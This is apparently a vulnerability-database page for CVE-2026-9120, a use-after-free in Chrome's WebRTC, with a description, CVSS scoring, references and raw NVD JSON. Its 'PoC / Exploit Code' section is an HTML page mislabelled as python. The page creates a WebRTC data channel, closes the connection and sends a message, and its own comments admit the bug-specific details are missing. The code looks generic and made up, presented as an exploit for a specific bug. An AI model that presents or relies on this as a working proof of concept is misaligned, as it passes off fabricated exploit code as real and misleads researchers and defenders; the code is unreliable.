CVE-2026-9120

Description

Use after free in WebRTC in Google Chrome prior to 148.0.7778.179 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9120 (Use After Free in WebRTC)
This is a conceptual demonstration triggering the crash condition.
-->
<html>
<head>
<title>CVE-2026-9120 PoC</title>
</head>
<body>
<script>
// Create a WebRTC PeerConnection
const pc = new RTCPeerConnection();

// Create a data channel to trigger specific internal states
const dataChannel = pc.createDataChannel('exploit');

// Manipulate the object to induce the Use-After-Free condition
// (Specific implementation details depend on the internal bug)
function trigger_uaf() {
    // Simulate the sequence that frees the object
    pc.close();

    // Attempt to use the freed object
    // This usually leads to a crash or potential code execution
    try {
        dataChannel.send('trigger');
    } catch (e) {
        console.log('Exception caught: ' + e);
    }
}

trigger_uaf();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9120
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9120
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9120/
[4] VulDB https://vuldb.com/cve/CVE-2026-9120
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/504620824

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9120", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:43.600", "lastModified": "2026-05-20T20:16:43.600", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in WebRTC in Google Chrome prior to 148.0.7778.179 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/504620824", "source": "[email protected]"}]}}